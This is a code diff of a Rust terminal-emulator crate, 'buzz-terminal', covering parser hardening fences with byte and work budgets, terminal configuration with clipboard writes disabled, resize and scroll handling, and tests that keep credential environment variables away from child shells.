||||||
|
for (shell, expected) in [
|
||||||
|
("/bin/zsh", "-zsh"),
|
||||||
|
("/usr/local/bin/fish", "-fish"),
|
||||||
|
("/opt/nu/bin/nu", "-nu"),
|
||||||
|
(FALLBACK_SHELL, "-sh"),
|
||||||
|
] {
|
||||||
|
assert_eq!(login_argv0(shell), expected);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The child must be told the shell we actually spawned, not the one Buzz
|
||||||
|
/// itself was launched under. Asserting `SHELL` is merely present would pass
|
||||||
|
/// for an inherited value, which is wrong in exactly the fallback cases.
|
||||||
|
#[test]
|
||||||
|
fn child_shell_is_the_resolved_shell_not_the_inherited_one() {
|
||||||
|
std::env::set_var("SHELL", "/definitely/not/a/real/shell");
|
||||||
|
let resolved = resolve_shell(std::env::var("SHELL").ok().as_deref());
|
||||||
|
assert_ne!(
|
||||||
|
resolved, "/definitely/not/a/real/shell",
|
||||||
|
"test setup: the bogus shell must not resolve"
|
||||||
|
);
|
||||||
|
|
||||||
|
let out = child_environment(|cmd| fence_env(cmd, &user_shell_path(), &resolved));
|
||||||
|
assert!(
|
||||||
|
out.lines().any(|line| line == format!("SHELL={resolved}")),
|
||||||
|
"child SHELL is not the resolved shell (expected {resolved}):\n{out}"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
!out.contains("/definitely/not/a/real/shell"),
|
||||||
|
"the inherited SHELL reached the child:\n{out}"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Guards the duplication of `RESERVED_ENV_KEYS` above. If the desktop crate
|
||||||
|
/// grows a new secret, this points at the file to update.
|
||||||
|
#[test]
|
||||||
|
fn reserved_keys_are_covered() {
|
||||||
|
let source = include_str!("../../../src/managed_agents/env_vars.rs");
|
||||||
|
let declared: Vec<&str> = source
|
||||||
|
.lines()
|
||||||
|
.skip_while(|line| !line.contains("RESERVED_ENV_KEYS"))
|
||||||
|
.take_while(|line| !line.trim_start().starts_with("];"))
|
||||||
|
.filter_map(|line| line.trim().strip_prefix('"'))
|
||||||
|
.filter_map(|line| line.split('"').next())
|
||||||
|
.filter(|key| {
|
||||||
|
// Only identity/credential keys are in scope here: the rest of
|
||||||
|
// RESERVED_ENV_KEYS guards agent-config override, which cannot
|
||||||
|
// apply to a child that inherits nothing.
|
||||||
|
key.contains("PRIVATE_KEY")
|
||||||
|
|| key.contains("AUTH_TAG")
|
||||||
|
|| key.contains("API_TOKEN")
|
||||||
|
|| key.contains("RELAY_URL")
|
||||||
|
})
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
assert!(!declared.is_empty(), "failed to parse RESERVED_ENV_KEYS");
|
||||||
|
for key in declared {
|
||||||
|
assert!(
|
||||||
|
SECRET_KEYS.contains(&key),
|
||||||
|
"{key} is a credential in RESERVED_ENV_KEYS but is not covered by \
|
||||||
|
this crate's SECRET_KEYS; add it here"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
262
desktop/src-tauri/crates/buzz-terminal/src/fences.rs
Normal file
262
desktop/src-tauri/crates/buzz-terminal/src/fences.rs
Normal file
@@ -0,0 +1,262 @@
|
|||||||
|
//! The two hardening fences, and the counters that prove they ran.
|
||||||
|
//!
|
||||||
|
//! A hostile program can hold the parser's synchronized-update buffer open
|
||||||
|
//! (BSU without ESU) or an OSC string open, and upstream will buffer without
|
||||||
|
//! bound. Two independent fences, both enforced on **byte counts** — never on
|
||||||
|
//! a clock, because a clock makes the bound depend on how fast the machine is:
|
||||||
|
//!
|
||||||
|
//! * **F1** aborts a synchronized update once its buffer reaches [`SYNC_CAP`].
|
||||||
|
//! * **F2** rebuilds the parser once [`OSC_BUDGET`] parser-visible bytes have
|
||||||
|
//! been charged without the parser returning to a clean state.
|
||||||
|
//!
|
||||||
|
//! F1 is also the interactive-latency fence. Without it a 2 MiB synchronized
|
||||||
|
//! frame releases into the parser in one call, holding the `Term` lock for
|
||||||
|
//! ~13 ms; with it the same frame arrives in 64 KiB pieces and renderer lock
|
||||||
|
//! acquisition drops from ~4.2 ms to ~29 us (146x). Deleting F1 regresses both
|
||||||
|
//! memory and latency.
|
||||||
|
|
||||||
|
/// Max bytes a synchronized update may buffer before it is aborted.
|
||||||
|
pub const SYNC_CAP: usize = 64 << 10;
|
||||||
|
|
||||||
|
/// Max parser-visible bytes chargeable before the parser is rebuilt.
|
||||||
|
pub const OSC_BUDGET: usize = 256 << 10;
|
||||||
|
|
||||||
|
/// Max cost-weighted work one [`crate::reader::Feeder::drain`] may spend
|
||||||
|
/// before returning, in cell-equivalents.
|
||||||
|
///
|
||||||
|
/// Derived, not chosen: measured worst-case density across the 2-D op sweep
|
||||||
|
/// is 16.9 ns/work (`erase_chars` at N=1, 80x24 -- the cheapest real callback,
|
||||||
|
/// where fixed dispatch cost dominates the single cell it touches), so a
|
||||||
|
/// 16.67 ms frame is ~988_000 work units. This is a quarter of that. The
|
||||||
|
/// remaining three quarters are headroom for lock acquisition, the counting
|
||||||
|
/// wrapper's own bookkeeping, and platforms slower than the one measured;
|
||||||
|
/// 16.9 ns/work is the max of a sample, not a proven ceiling, so it is not
|
||||||
|
/// spent to the last unit.
|
||||||
|
pub const WORK_BUDGET: u64 = 250_000;
|
||||||
|
|
||||||
|
/// Widest slice handed to the parser at once.
|
||||||
|
///
|
||||||
|
/// The floor is 1 byte and lives in [`slice_bytes_remaining`] rather than
|
||||||
|
/// here: on a grid whose worst atom exceeds the whole budget -- RIS at any
|
||||||
|
/// real scrollback depth -- no wider slice can promise to stop after the
|
||||||
|
/// callback that crosses. This cap is the other end, set at the throughput
|
||||||
|
/// plateau: plain-char parsing saturates by 64 bytes and is flat to 64 KiB
|
||||||
|
/// measured, so nothing above it buys anything and a larger value only
|
||||||
|
/// coarsens the cut.
|
||||||
|
pub const MAX_SLICE: usize = 256;
|
||||||
|
|
||||||
|
/// Bytes to hand the parser next.
|
||||||
|
///
|
||||||
|
/// The **only** slice-sizing function, deliberately: an earlier version of
|
||||||
|
/// this module also exported a `slice_bytes(columns, lines, scrollback)` that
|
||||||
|
/// the scheduler stopped calling when slices became remaining-aware, and the
|
||||||
|
/// fixtures went on asserting against it. The two disagreed exactly where the
|
||||||
|
/// floor bound -- reporting 4 where the engine used 1 -- so the preconditions
|
||||||
|
/// were describing a function no longer in the path. One function, one
|
||||||
|
/// answer, and every test asserts on what `drain` actually calls.
|
||||||
|
///
|
||||||
|
/// The rule: a slice of `N` bytes holds at most `N / atom_bytes` atoms, so
|
||||||
|
/// `remaining / densest` bytes cannot carry a drain past the budget.
|
||||||
|
///
|
||||||
|
/// `next_escape` is how far the next `ESC` is from the front of the tail.
|
||||||
|
/// This is the difference between a correct bound and an unusable one. Only
|
||||||
|
/// an escape can buy grid-sized work in two bytes; a run of ordinary
|
||||||
|
/// characters costs at most `columns` per byte (a wrapping line feed that
|
||||||
|
/// scrolls), which is four orders of magnitude cheaper than RIS. Pricing
|
||||||
|
/// plain text as though every byte might be RIS drops throughput from
|
||||||
|
/// 181 MB/s to 69 MB/s at the default scrollback -- measured -- while
|
||||||
|
/// bounding something that cannot happen. So a plain run is sliced against
|
||||||
|
/// the plain-byte cost and only the escape itself is metered against the
|
||||||
|
/// worst atom.
|
||||||
|
pub fn slice_bytes_remaining(
|
||||||
|
columns: usize,
|
||||||
|
lines: usize,
|
||||||
|
scrollback: usize,
|
||||||
|
spent: u64,
|
||||||
|
next_escape: usize,
|
||||||
|
) -> usize {
|
||||||
|
let remaining = WORK_BUDGET.saturating_sub(spent);
|
||||||
|
if next_escape > 0 {
|
||||||
|
// A plain run, and it stops at the escape: an escape sharing a slice
|
||||||
|
// with the text in front of it is how a callback runs *after* the one
|
||||||
|
// that crossed the budget, which is the overrun this bound exists to
|
||||||
|
// prevent. Worst case per plain byte is a line feed that scrolls,
|
||||||
|
// which resets one row: `columns`.
|
||||||
|
let per_byte = (columns as u64).max(1);
|
||||||
|
return ((remaining / per_byte) as usize).clamp(1, next_escape.min(MAX_SLICE));
|
||||||
|
}
|
||||||
|
// An escape starts here. `ESC c` is the densest at two bytes.
|
||||||
|
let densest = (max_atom_work(columns, lines, scrollback) / 2).max(1);
|
||||||
|
((remaining / densest) as usize).clamp(1, MAX_SLICE)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Work the single worst uninterruptible callback can cost on this grid.
|
||||||
|
///
|
||||||
|
/// This is the irreducible overrun past [`WORK_BUDGET`]: no scheduler outside
|
||||||
|
/// the parser can cut inside a callback, so a caller converting a work budget
|
||||||
|
/// into a time bound must add it.
|
||||||
|
///
|
||||||
|
/// It is `columns` because [`crate::units::Counting`] terminates CBT at its
|
||||||
|
/// first fixed point. Upstream's own loop is `N x columns` -- 82 ms for eight
|
||||||
|
/// bytes at 1600 columns -- and clamping `N` to `columns` only brings that to
|
||||||
|
/// `columns^2`, which at 1600 is 2.56M work, **10x the whole budget**: the
|
||||||
|
/// atom, not the budget, would decide the bound. Stopping at the fixed point
|
||||||
|
/// makes it `columns`, and the budget goes back to being the thing that sets
|
||||||
|
/// the bound. Every other callback is priced at or below `cells`, which is
|
||||||
|
/// larger, so this term never dominates.
|
||||||
|
pub fn max_atom_work(columns: usize, lines: usize, scrollback: usize) -> u64 {
|
||||||
|
// RIS: both grids plus the primary's configured scrollback. This is the
|
||||||
|
// largest single callback by a wide margin -- 16x the budget at the
|
||||||
|
// default 10k depth -- and it is genuinely indivisible, so it is stated
|
||||||
|
// rather than smoothed. CBT, once terminated at its fixed point, is
|
||||||
|
// `columns` and never competes.
|
||||||
|
//
|
||||||
|
// Saturating, and widened to u64 *before* multiplying. `Size` fields are
|
||||||
|
// unclamped `usize` with no caller bounding them, so the products here
|
||||||
|
// are reachable overflows: in debug that is a panic in the accounting
|
||||||
|
// path, and in release it wraps to a small number, which understates the
|
||||||
|
// bound -- an overflow that reports the parser as cheap is the worst of
|
||||||
|
// the three outcomes.
|
||||||
|
let (columns, lines, scrollback) = (columns as u64, lines as u64, scrollback as u64);
|
||||||
|
let both_grids = columns.saturating_mul(lines).saturating_mul(2);
|
||||||
|
let history = scrollback.saturating_mul(columns);
|
||||||
|
both_grids.saturating_add(history).max(columns)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Upper bound on the work a single [`crate::reader::Feeder::drain`] can do.
|
||||||
|
///
|
||||||
|
/// Two irreducible terms on top of [`WORK_BUDGET`], and it is worth being
|
||||||
|
/// exact about which is which, because I got this wrong first and the
|
||||||
|
/// fixtures caught it:
|
||||||
|
///
|
||||||
|
/// * The budget is checked *between* slices, so a drain overshoots by up to
|
||||||
|
/// one whole slice -- not one atom. [`slice_bytes_remaining`] keeps that
|
||||||
|
/// under one budget wherever its derivation is unclamped.
|
||||||
|
/// * A callback already running cannot be preempted. RIS at the default 10k
|
||||||
|
/// scrollback is worth 16x the whole budget on its own, so on such a grid
|
||||||
|
/// the floor binds and the overshoot is a few of those atoms. No scheduler
|
||||||
|
/// outside the parser can fix that -- what it can do is *report* it, which
|
||||||
|
/// is why this is a function callers can read rather than an assumption
|
||||||
|
/// they inherit.
|
||||||
|
pub fn max_drain_work(columns: usize, lines: usize, scrollback: usize) -> u64 {
|
||||||
|
// One atom, not one slice: [`crate::reader::Feeder::drain`] sizes every
|
||||||
|
// slice against the *remaining* budget, so it cannot start a slice able
|
||||||
|
// to hold more work than is left. What it cannot do is preempt a callback
|
||||||
|
// that has begun, which is where this term comes from.
|
||||||
|
WORK_BUDGET.saturating_add(max_atom_work(columns, lines, scrollback))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Max bytes that may sit unparsed before the reader must stop reading the
|
||||||
|
/// PTY. Bounds the *queue*; [`WORK_BUDGET`] bounds only the lock hold.
|
||||||
|
pub const TAIL_CAP: usize = 4 << 20;
|
||||||
|
|
||||||
|
/// Depth at which a paused reader may resume. Strictly below [`TAIL_CAP`] so
|
||||||
|
/// the reader does not flap between full and one-byte-below-full.
|
||||||
|
pub const TAIL_RESUME: usize = 1 << 20;
|
||||||
|
|
||||||
|
/// Which fences are active. Both on in production.
|
||||||
|
///
|
||||||
|
/// The mutation law requires exercising each fence with the other **disabled**,
|
||||||
|
/// because F1's abort releases the sync buffer in small pieces and thereby
|
||||||
|
/// masks a miscounting F2. This is deliberately a runtime value and not a cargo
|
||||||
|
/// feature: a fence that can be compiled out is one more way for a gate to pass
|
||||||
|
/// green over code that never ran.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
|
pub struct Fences {
|
||||||
|
/// F1: abort a synchronized update at [`SYNC_CAP`].
|
||||||
|
pub sync_abort: bool,
|
||||||
|
/// F2: rebuild the parser at [`OSC_BUDGET`].
|
||||||
|
pub osc_budget: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Default for Fences {
|
||||||
|
fn default() -> Self {
|
||||||
|
Self {
|
||||||
|
sync_abort: true,
|
||||||
|
osc_budget: true,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Fences {
|
||||||
|
/// Production configuration: both fences enforced.
|
||||||
|
pub const ALL: Self = Self {
|
||||||
|
sync_abort: true,
|
||||||
|
osc_budget: true,
|
||||||
|
};
|
||||||
|
/// F2 alone — the arm that can observe F2's counting, unmasked by F1.
|
||||||
|
pub const OSC_ONLY: Self = Self {
|
||||||
|
sync_abort: false,
|
||||||
|
osc_budget: true,
|
||||||
|
};
|
||||||
|
/// F1 alone.
|
||||||
|
pub const SYNC_ONLY: Self = Self {
|
||||||
|
sync_abort: true,
|
||||||
|
osc_budget: false,
|
||||||
|
};
|
||||||
|
/// Neither — the unfenced control that shows what upstream does alone.
|
||||||
|
pub const NONE: Self = Self {
|
||||||
|
sync_abort: false,
|
||||||
|
osc_budget: false,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Per-run fence observations. Every field is what some gate asserts on.
|
||||||
|
///
|
||||||
|
/// `charged_bytes` is deliberately separate from `osc_resets`: a deleted F2
|
||||||
|
/// shows up as `osc_resets == 0`, but an F2 that counts the *wrong* bytes
|
||||||
|
/// (omitting flush routes, or charging raw input) still resets — only the
|
||||||
|
/// charge total distinguishes those. One counter cannot see both mutations.
|
||||||
|
#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)]
|
||||||
|
pub struct FenceStats {
|
||||||
|
/// F1 aborts performed.
|
||||||
|
pub sync_aborts: u64,
|
||||||
|
/// Largest number of bytes released to the parser by a single flush,
|
||||||
|
/// whether via an F1 abort or a legitimate end-of-update. This is the
|
||||||
|
/// quantity that bounds one lock hold.
|
||||||
|
pub max_release: usize,
|
||||||
|
/// F2 parser rebuilds performed.
|
||||||
|
pub osc_resets: u64,
|
||||||
|
/// Parser-visible bytes charged against the F2 budget, cumulative across
|
||||||
|
/// resets. Includes every flush route, not just directly-advanced input.
|
||||||
|
pub charged_bytes: u64,
|
||||||
|
/// Parser units completed: one per `Handler` callback dispatched, which is
|
||||||
|
/// one per fully-parsed escape sequence or printed character.
|
||||||
|
///
|
||||||
|
/// Separate from `charged_bytes` because they answer different questions
|
||||||
|
/// and can disagree by orders of magnitude: four bytes of `ESC#8` rewrite
|
||||||
|
/// the whole grid, four bytes of `ESC[m` set a flag. Bytes bound memory;
|
||||||
|
/// units are the proxy for time. See [`crate::units`].
|
||||||
|
pub completed_units: u64,
|
||||||
|
/// Cost-weighted work completed, in cell-equivalents: an O(cells) callback
|
||||||
|
/// charges `columns * lines`, an O(1) callback charges 1.
|
||||||
|
///
|
||||||
|
/// Deliberately a second number rather than a replacement for
|
||||||
|
/// `completed_units`. They answer different questions -- "how many things
|
||||||
|
/// happened" versus "how much did they cost" -- and a stream of `ESC#8`
|
||||||
|
/// makes them disagree by four orders of magnitude, which is the entire
|
||||||
|
/// reason this fence exists.
|
||||||
|
pub completed_work: u64,
|
||||||
|
/// Deepest the unparsed tail has been, in bytes. The high-water mark
|
||||||
|
/// rather than the current depth, because the current depth is zero again
|
||||||
|
/// by the time a test looks at it.
|
||||||
|
pub max_pending: usize,
|
||||||
|
/// Times the tail was at or over [`TAIL_CAP`] at the end of a drain.
|
||||||
|
///
|
||||||
|
/// Loud on purpose. Reaching the cap means the reader kept reading past
|
||||||
|
/// the point it was told to stop, so the queue bound is being held by
|
||||||
|
/// nothing; a silent cap would make that indistinguishable from a reader
|
||||||
|
/// that is obeying.
|
||||||
|
pub tail_breaches: u64,
|
||||||
|
/// Bytes discarded unparsed by [`crate::reader::Feeder::abandon_tail`].
|
||||||
|
/// Non-zero anywhere but session close is a bug that ate output.
|
||||||
|
pub abandoned_bytes: u64,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl FenceStats {
|
||||||
|
/// Clear all counters. Diagnostics are per-run; a gate that reads a
|
||||||
|
/// counter accumulated across runs is asserting on the wrong thing.
|
||||||
|
pub fn reset(&mut self) {
|
||||||
|
*self = Self::default();
|
||||||
|
}
|
||||||
|
}
|
||||||
290
desktop/src-tauri/crates/buzz-terminal/src/lib.rs
Normal file
290
desktop/src-tauri/crates/buzz-terminal/src/lib.rs
Normal file
@@ -0,0 +1,290 @@
|
|||||||
|
//! Terminal engine for the Buzz substrate.
|
||||||
|
//!
|
||||||
|
//! Owns the emulator: grid state, the parser, the two hardening fences, and
|
||||||
|
//! the damage encoding the renderer consumes. It does **not** own the PTY, the
|
||||||
|
//! child process, or the transport — those are the embedder's, so this crate
|
||||||
|
//! stays testable against byte fixtures with no process and no window.
|
||||||
|
|
||||||
|
pub mod context;
|
||||||
|
pub mod damage;
|
||||||
|
pub mod env_fence;
|
||||||
|
pub mod fences;
|
||||||
|
pub mod lifecycle;
|
||||||
|
pub mod listener;
|
||||||
|
pub mod path;
|
||||||
|
pub mod reader;
|
||||||
|
pub mod shared;
|
||||||
|
pub mod shell;
|
||||||
|
pub mod units;
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod context_tests;
|
||||||
|
// `--all-targets` compiles `#[cfg(test)]` modules, so a Windows `cargo check`
|
||||||
|
// builds these two -- and they drive real PTYs, `libc::kill`, and unix
|
||||||
|
// permission bits, which do not exist there. Gating the *modules* rather than
|
||||||
|
// their contents keeps the unix-only shape honest: the code under test is
|
||||||
|
// itself `#[cfg(unix)]`, so a Windows build has nothing to assert against.
|
||||||
|
// `context_tests` is pure string logic and stays portable.
|
||||||
|
#[cfg(all(test, unix))]
|
||||||
|
mod env_fence_tests;
|
||||||
|
#[cfg(all(test, unix))]
|
||||||
|
mod lifecycle_tests;
|
||||||
|
|
||||||
|
use alacritty_terminal::grid::Dimensions;
|
||||||
|
use alacritty_terminal::term::{Config, Osc52, Term};
|
||||||
|
use alacritty_terminal::vte::ansi::CursorStyle;
|
||||||
|
|
||||||
|
pub use fences::{FenceStats, Fences};
|
||||||
|
pub use listener::{Action, Listener};
|
||||||
|
pub use shared::{AcquireMeter, AcquireStats, SharedTerminal};
|
||||||
|
|
||||||
|
/// Which grid a frame or a resize refers to.
|
||||||
|
///
|
||||||
|
/// Generation and dimensions travel together as one value because they answer
|
||||||
|
/// one question -- "is this the grid I am currently showing?" -- and a consumer
|
||||||
|
/// that compares them field by field can compare two of the three and be wrong
|
||||||
|
/// on a resize that changes only the one it skipped.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
|
pub struct Viewport {
|
||||||
|
/// Advances on every *applied* resize. A same-size resize is inert and
|
||||||
|
/// does not advance it, so an unchanged `ResizeObserver` tick cannot look
|
||||||
|
/// like a discontinuity.
|
||||||
|
pub generation: u64,
|
||||||
|
pub columns: usize,
|
||||||
|
pub screen_lines: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Terminal dimensions in cells, plus how much scrollback to retain.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
|
pub struct Size {
|
||||||
|
pub columns: usize,
|
||||||
|
pub screen_lines: usize,
|
||||||
|
pub scrollback: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Default for Size {
|
||||||
|
fn default() -> Self {
|
||||||
|
Self {
|
||||||
|
columns: 80,
|
||||||
|
screen_lines: 24,
|
||||||
|
scrollback: 10_000,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Dimensions for Size {
|
||||||
|
fn total_lines(&self) -> usize {
|
||||||
|
self.screen_lines + self.scrollback
|
||||||
|
}
|
||||||
|
|
||||||
|
fn screen_lines(&self) -> usize {
|
||||||
|
self.screen_lines
|
||||||
|
}
|
||||||
|
|
||||||
|
fn columns(&self) -> usize {
|
||||||
|
self.columns
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Build the emulator config.
|
||||||
|
///
|
||||||
|
/// Written as an explicit literal rather than `..Default::default()` so that
|
||||||
|
/// every security-relevant field is stated here and an upstream default change
|
||||||
|
/// cannot alter our posture silently. In particular `osc52` defaults to
|
||||||
|
/// `OnlyCopy` upstream, which would let terminal output write the user's
|
||||||
|
/// clipboard; we disable it outright.
|
||||||
|
pub fn config(size: Size) -> Config {
|
||||||
|
Config {
|
||||||
|
scrolling_history: size.scrollback,
|
||||||
|
default_cursor_style: CursorStyle::default(),
|
||||||
|
vi_mode_cursor_style: None,
|
||||||
|
semantic_escape_chars: String::from(",│`|:\"' ()[]{}<>\t"),
|
||||||
|
kitty_keyboard: false,
|
||||||
|
osc52: Osc52::Disabled,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A terminal: emulator state plus the fenced parser that drives it.
|
||||||
|
pub struct Terminal {
|
||||||
|
term: Term<Listener>,
|
||||||
|
feeder: reader::Feeder,
|
||||||
|
size: Size,
|
||||||
|
generation: u64,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Terminal {
|
||||||
|
pub fn new(size: Size, fences: Fences) -> (Self, std::sync::mpsc::Receiver<Action>) {
|
||||||
|
let (listener, actions) = Listener::new();
|
||||||
|
let term = Term::new(config(size), &size, listener);
|
||||||
|
(
|
||||||
|
Self {
|
||||||
|
term,
|
||||||
|
feeder: reader::Feeder::new(
|
||||||
|
fences,
|
||||||
|
size.columns,
|
||||||
|
size.screen_lines,
|
||||||
|
size.scrollback,
|
||||||
|
),
|
||||||
|
size,
|
||||||
|
generation: 0,
|
||||||
|
},
|
||||||
|
actions,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Feed PTY output through the fences into the emulator.
|
||||||
|
///
|
||||||
|
/// Parses what one work budget affords and returns with the rest held as
|
||||||
|
/// a pending tail, so one call cannot hold the terminal for an unbounded
|
||||||
|
/// time. **The caller must pump [`Terminal::drain`] until it returns
|
||||||
|
/// false**, releasing the lock between calls; that is the whole point --
|
||||||
|
/// the tail exists to give the renderer a chance at the lock, not to defer
|
||||||
|
/// work indefinitely. [`Terminal::pending_bytes`] and
|
||||||
|
/// [`Terminal::tail_full`] tell the reader when to stop reading the PTY.
|
||||||
|
pub fn feed(&mut self, bytes: &[u8]) -> bool {
|
||||||
|
self.feeder.feed(&mut self.term, bytes)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Parse more of the pending tail. Returns whether any remains.
|
||||||
|
pub fn drain(&mut self) -> bool {
|
||||||
|
self.feeder.drain(&mut self.term);
|
||||||
|
self.feeder.pending_bytes() > 0
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Feed and parse to completion, without the intervening lock releases.
|
||||||
|
///
|
||||||
|
/// For tests and for callers with no renderer contending -- it reinstates
|
||||||
|
/// exactly the unbounded hold [`Terminal::feed`] exists to prevent, so it
|
||||||
|
/// is deliberately a separate name rather than a flag on `feed`.
|
||||||
|
pub fn feed_fully(&mut self, bytes: &[u8]) {
|
||||||
|
self.feed(bytes);
|
||||||
|
while self.drain() {}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Bytes accepted but not yet parsed.
|
||||||
|
pub fn pending_bytes(&self) -> usize {
|
||||||
|
self.feeder.pending_bytes()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Whether the tail is at its cap and the reader must stop reading.
|
||||||
|
/// See [`reader::Feeder::tail_full`] for why production deliberately has
|
||||||
|
/// no consumer yet.
|
||||||
|
///
|
||||||
|
/// There is no production consumer today, deliberately: the desktop
|
||||||
|
/// runtime pumps `drain()` to completion after every read, so the tail is
|
||||||
|
/// empty between iterations. A future reader that defers pumping must
|
||||||
|
/// consult this signal before accepting more PTY bytes.
|
||||||
|
pub fn tail_full(&self) -> bool {
|
||||||
|
self.feeder.tail_full()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Whether a paused reader may resume.
|
||||||
|
pub fn tail_drained(&self) -> bool {
|
||||||
|
self.feeder.tail_drained()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Discard the unparsed tail. Session close only -- see
|
||||||
|
/// [`reader::Feeder::abandon_tail`].
|
||||||
|
pub fn abandon_tail(&mut self) -> usize {
|
||||||
|
self.feeder.abandon_tail()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn stats(&self) -> FenceStats {
|
||||||
|
self.feeder.stats()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn reset_stats(&mut self) {
|
||||||
|
self.feeder.reset_stats();
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn size(&self) -> Size {
|
||||||
|
self.size
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The grid as it stands now. Stamped onto each [`damage::Frame`] so a
|
||||||
|
/// consumer can tell that a frame describes a *different* grid than the one
|
||||||
|
/// it last drew, without having to infer it from message ordering.
|
||||||
|
pub fn viewport(&self) -> Viewport {
|
||||||
|
Viewport {
|
||||||
|
generation: self.generation,
|
||||||
|
columns: self.size.columns,
|
||||||
|
screen_lines: self.size.screen_lines,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Apply a new viewport.
|
||||||
|
///
|
||||||
|
/// Takes one target size, never a stream of them: resize is superlinear in
|
||||||
|
/// scrollback (2.5-4.7 ms per single column change at 10k history, and 40
|
||||||
|
/// sequential 1-column steps cost 7.4x their coalesced equivalent), and it
|
||||||
|
/// runs while holding the terminal. Coalescing is the caller's job; this
|
||||||
|
/// function's job is to make the result observable.
|
||||||
|
///
|
||||||
|
/// A resize forces a full damage frame -- upstream's `TermDamageState`
|
||||||
|
/// sets `full` in its own `resize` (`term/mod.rs:240`) -- which is what
|
||||||
|
/// keeps the encoder's per-line hashes from suppressing reflowed content.
|
||||||
|
/// The generation bump is belt-and-braces on top of that: it lets the
|
||||||
|
/// consumer *verify* it received the discontinuity rather than assume it.
|
||||||
|
///
|
||||||
|
/// Returns the viewport that is now in effect, which is not necessarily the
|
||||||
|
/// one requested: a same-size call is inert and returns the current
|
||||||
|
/// generation unchanged. Returning it here rather than making the caller
|
||||||
|
/// ask afterwards matters across a transport -- a follow-up query races the
|
||||||
|
/// next resize, so the answer could describe a grid that had already been
|
||||||
|
/// replaced by the time it was read.
|
||||||
|
pub fn resize(&mut self, size: Size) -> Viewport {
|
||||||
|
if size == self.size {
|
||||||
|
return self.viewport();
|
||||||
|
}
|
||||||
|
self.term.resize(size);
|
||||||
|
self.feeder.resize(size);
|
||||||
|
self.size = size;
|
||||||
|
self.generation += 1;
|
||||||
|
self.viewport()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Move the viewport through scrollback. **Positive moves *into* history.**
|
||||||
|
///
|
||||||
|
/// That is upstream's sign (`Scroll::Delta`), kept rather than flipped: a
|
||||||
|
/// second convention in the middle of the stack is a bug waiting for the
|
||||||
|
/// one caller who reads the wrong doc comment. The DOM has the opposite
|
||||||
|
/// sense, and the embedder converts once, at the command boundary.
|
||||||
|
///
|
||||||
|
/// Returns whether the viewport actually moved. Both ends of history clamp
|
||||||
|
/// silently upstream, and a caller that repaints on every request would
|
||||||
|
/// repaint for the whole tail of a momentum gesture after it had already
|
||||||
|
/// hit the top. Every scroll that *does* move is a full repaint, because
|
||||||
|
/// `Term::scroll_display` marks the grid fully damaged.
|
||||||
|
pub fn scroll(&mut self, lines: i32) -> bool {
|
||||||
|
self.scroll_display(alacritty_terminal::grid::Scroll::Delta(lines))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Return the viewport to the live edge. Returns whether it moved.
|
||||||
|
///
|
||||||
|
/// Output alone does not do this: once scrolled back, the grid pins the
|
||||||
|
/// viewport and lets new lines accumulate above it
|
||||||
|
/// (`Grid::scroll_up`). Coming back is therefore an explicit act, and the
|
||||||
|
/// embedder ties it to user input.
|
||||||
|
pub fn scroll_to_bottom(&mut self) -> bool {
|
||||||
|
self.scroll_display(alacritty_terminal::grid::Scroll::Bottom)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// How far the viewport sits above the live edge, in lines.
|
||||||
|
pub fn display_offset(&self) -> usize {
|
||||||
|
self.term.grid().display_offset()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn scroll_display(&mut self, scroll: alacritty_terminal::grid::Scroll) -> bool {
|
||||||
|
let before = self.display_offset();
|
||||||
|
self.term.scroll_display(scroll);
|
||||||
|
self.display_offset() != before
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn term(&self) -> &Term<Listener> {
|
||||||
|
&self.term
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn term_mut(&mut self) -> &mut Term<Listener> {
|
||||||
|
&mut self.term
|
||||||
|
}
|
||||||
|
}
|
||||||
267
desktop/src-tauri/crates/buzz-terminal/src/lifecycle.rs
Normal file
267
desktop/src-tauri/crates/buzz-terminal/src/lifecycle.rs
Normal file
@@ -0,0 +1,267 @@
|
|||||||
|
//! Child-process lifecycle for spawned PTY sessions.
|
||||||
|
//!
|
||||||
|
//! Closing a terminal tab must actually end the work the tab was doing. That
|
||||||
|
